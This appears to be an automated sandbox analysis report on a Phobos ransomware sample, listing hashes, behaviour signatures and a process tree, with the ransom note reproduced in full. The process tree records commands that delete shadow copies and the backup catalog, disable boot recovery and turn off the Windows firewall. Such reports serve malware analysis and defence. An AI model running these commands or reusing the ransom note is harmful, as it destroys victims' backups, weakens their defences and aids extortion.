Overview

overview

10

Static

static

1

MsMpEng.bin.exe

windows7-x64

10

MsMpEng.bin.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11/03/2023, 16:53

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General

  • Target

    MsMpEng.bin.exe

  • Size

    55KB

  • MD5

    de3118d4369fddeedf5272011350476c

  • SHA1

    f04db253158efe0aa9427e61b7b62ae4a4373660

  • SHA256

    d8acb51e4c3c0fe91ff0ffff41e6b6c311affcea223b05b24383aa07d6923334

  • SHA512

    313c334cfc04ab23449e8f58926bb4d7a7468d13eef0a07f604712ceeab4a6d9337dbc56f9899839028b3d7eca2c2e9e9e8b55af9e4fe480eace71b88dc35b6d

  • SSDEEP

    768:xvrNNeRBl5JFTXqwXrkgrn/9/HiDKGwRj4RcTdyH4pYT3nPKVU1EyjeZKU+McPsY:LNeRBl5PT/rx1mzwRMSTdLpJyjxiuo3

Score
10/10
phobosevasionpersistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\info.hta

Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'> <html> <head> <meta charset='windows-1251'> <title>encrypted</title> <HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type='text/css'> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background: #EDEDED; } img { display:inline-block; } .bold { font-weight: bold; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { text-align: center; font-size: 30px; line-height: 50px; font-weight: bold; margin-bottom:20px; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } .footer { position:fixed; bottom:0; right:0; text-align: right; } </style> </head> <body> <div class='header'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='> <div>All your files have been encrypted!</div> </div> <div class='bold'>All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail <span class='mark'>[email protected]</span></div> <div class='bold'>Write this ID in the title of your message <span class='mark'>4C66242B-2803</span></div> <div class='bold'>In case of no answer in 24 hours write us to this e-mail:<span class='mark'>[email protected]</span></div> <div> You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. </div> <div class='note info'> <div class='title'>Free decryption as guarantee</div> <ul>Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul> </div> <div class='note info'> <div class='title'>How to obtain Bitcoins</div> <ul> The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. <br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a> <br> Also you can find other places to buy Bitcoins and beginners guide here: <br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a> </ul> </div> <div class='note alert'> <div class='title'>Attention!</div> <ul> <li>Do not rename encrypted files.</li> <li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li> <li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li> </ul> </div> </body> </html>
Emails

class='mark'>[email protected]</span></div>

class='mark'>[email protected]</span></div>
URLs

http://www.w3.org/TR/html4/strict.dtd'>

Extracted

Path

C:\info.hta

Ransom Note
All your files have been encrypted! All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail [email protected] Write this ID in the title of your message 4C66242B-2803 In case of no answer in 24 hours write us to this e-mail: [email protected] You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. Free decryption as guarantee Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) How to obtain Bitcoins The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ Attention! Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Phobos

    Phobos ransomware appeared at the beginning of 2019.

    ransomwarephobos
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Modifies Windows Firewall 1 TTPs 2 IoCs
    evasion
  • Drops startup file 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\MsMpEng.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\MsMpEng.bin.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Users\Admin\AppData\Local\Temp\MsMpEng.bin.exe
      "C:\Users\Admin\AppData\Local\Temp\MsMpEng.bin.exe"
      2⤵
        PID:1772
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1932
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:600
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:928
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:548
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:648
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:1576
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1080
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set currentprofile state off
          3⤵
          • Modifies Windows Firewall
          PID:484
        • C:\Windows\system32\netsh.exe
          netsh firewall set opmode mode=disable
          3⤵
          • Modifies Windows Firewall
          PID:2016
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:3044
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:2980
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:1956
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1488
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1692
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:208
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:1168
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:1068
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:272
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:876
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:2416
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
          PID:988

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab.id[4C66242B-2803].[[email protected]].eight
          Filesize

          143.1MB

          MD5

          d287b6e32c5d457e8e03ab9014c00b23

          SHA1

          6b536f0647350491f2ec67a8f83f1e93d9311f3a

          SHA256

          c275853f8bada15e6dfa0ad17c3520e1869aed304321afd59c0a3b1d8419f6f2

          SHA512

          3315702d52a26be0d537aaed0174e01e13c93fb89733e2970323a5df2409142a5c1844c9845daa3d98587fffe017ad3d29e03665e3990bf2ebe40c711038746f

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        • C:\Users\Admin\Desktop\info.hta
          Filesize

          5KB

          MD5

          6d4c1ebe60c2884dfa267c16f778e305

          SHA1

          2e20a8b66c81ff194e02219f9307570f409d6b89

          SHA256

          dd0d3f3f1ad015edba3c1d37ee496ddda16d4369feb298d5daa24a9698b5162b

          SHA512

          ef39b1e05c277699fc95da7c3d68a57fb6b24998a1760a1d8e0233cdb13c9af2e26f73a7dfaa81105b83541dede94a512d021a01ce4ae512e2f4dd50fcf1b7a0

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        • C:\info.hta
          Filesize

          5KB

          MD5

          6d4c1ebe60c2884dfa267c16f778e305

          SHA1

          2e20a8b66c81ff194e02219f9307570f409d6b89

          SHA256

          dd0d3f3f1ad015edba3c1d37ee496ddda16d4369feb298d5daa24a9698b5162b

          SHA512

          ef39b1e05c277699fc95da7c3d68a57fb6b24998a1760a1d8e0233cdb13c9af2e26f73a7dfaa81105b83541dede94a512d021a01ce4ae512e2f4dd50fcf1b7a0

          Download Submit

        • C:\info.hta
          Filesize

          5KB

          MD5

          6d4c1ebe60c2884dfa267c16f778e305

          SHA1

          2e20a8b66c81ff194e02219f9307570f409d6b89

          SHA256

          dd0d3f3f1ad015edba3c1d37ee496ddda16d4369feb298d5daa24a9698b5162b

          SHA512

          ef39b1e05c277699fc95da7c3d68a57fb6b24998a1760a1d8e0233cdb13c9af2e26f73a7dfaa81105b83541dede94a512d021a01ce4ae512e2f4dd50fcf1b7a0

          Download Submit

        • C:\users\public\desktop\info.hta
          Filesize

          5KB

          MD5

          6d4c1ebe60c2884dfa267c16f778e305

          SHA1

          2e20a8b66c81ff194e02219f9307570f409d6b89

          SHA256

          dd0d3f3f1ad015edba3c1d37ee496ddda16d4369feb298d5daa24a9698b5162b

          SHA512

          ef39b1e05c277699fc95da7c3d68a57fb6b24998a1760a1d8e0233cdb13c9af2e26f73a7dfaa81105b83541dede94a512d021a01ce4ae512e2f4dd50fcf1b7a0

          Download Submit